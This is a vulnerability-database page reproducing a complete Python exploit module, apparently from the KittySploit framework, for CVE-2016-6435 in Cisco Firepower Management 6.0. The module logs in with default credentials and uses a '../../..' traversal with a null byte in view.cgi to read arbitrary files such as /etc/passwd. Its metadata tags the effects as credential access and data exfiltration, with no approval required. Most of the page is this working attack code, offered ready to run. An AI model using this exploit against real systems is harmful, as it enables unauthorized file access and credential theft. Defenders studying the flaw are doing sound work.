Lucene search
+L

Cisco Firepower Management 6.0 Path Traversal

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Authenticated path traversal in Cisco Firepower Management to retrieve arbitrary files.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco Firepower Management 6.0 Path Traversal"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Cisco Firepower Management 6.0 Path Traversal',
        'description': 'Module exploits Cisco Firepower Management 6.0 Path Traversal vulnerability. If the target is vulnerable, it is possible to retrieve content of the arbitrary files.',
        'author': ['Matt', 'sinn3r', 'Marcin Bury'],
        'cve': ['CVE-2016-6435'],
        'platform': Platform.LINUX,
        'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6435', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking'],
        'tags': ['iot', 'router', 'lfi', 'unauth', 'cve-2016-6435', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    path = OptString("/etc/passwd", 'File to read through vulnerability')
    username = OptString("admin", 'Default username to log in')
    password = OptString("Admin123", 'Default password to log in')

    def run(self):
        self.session = requests.Session()

        if self.check():
            print_success("Target seems to be vulnerable")
            print_status("Trying to authenticate")
            if self.login():
                file_path = "../../..{}".format(self.path)
                path = "/events/reports/view.cgi?download=1&files={}%00".format(file_path)

                print_status("Requesting: {}".format(file_path))
                response = self.http_request(
                    method="GET",
                    path=path,
                    session=self.session
                )

                if response is None:
                    print_error("Exploit failed")
                    return

                print_status("Reading response...")

                if not len(response.text) or "empty or is not available to view" in response.text:
                    print_error("Exploit failed. Empty response.")
                else:
                    print_info(response.text)

            else:
                print_error("Exploit failed. Could not authenticate.")
        else:
            print_error("Exploit failed. Target seems to be not vulnerable.")
    def check(self):
        response = self.http_request(
            method="GET",
            path="/login.cgi?logout=1"
        )

        if response is not None and "6.0.1" in response.text:
            return True  # target is vulnerable

        return False  # target is not vulnerable
    def login(self):
        data = {
            "username": self.username,
            "password": self.password,
            "target": "",
        }

        response = self.http_request(
            method="POST",
            path="/login.cgi?logout=1",
            data=data,
            allow_redirects=False,
            timeout=30,
            session=self.session
        )

        if response is None:
            return False

        if response.status_code == 302 and "CGISESSID" in response.cookies.get_dict().keys():
            print_status("CGI Session ID: {}".format(response.cookies.get_dict()['CGISESSID']))
            print_success("Authenticated as {}:{}".format(self.username, self.password))
            return True

        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
6.7Medium risk
Vulners AI Score6.7
CVSS 24
CVSS 36.5
EPSS0.36617
2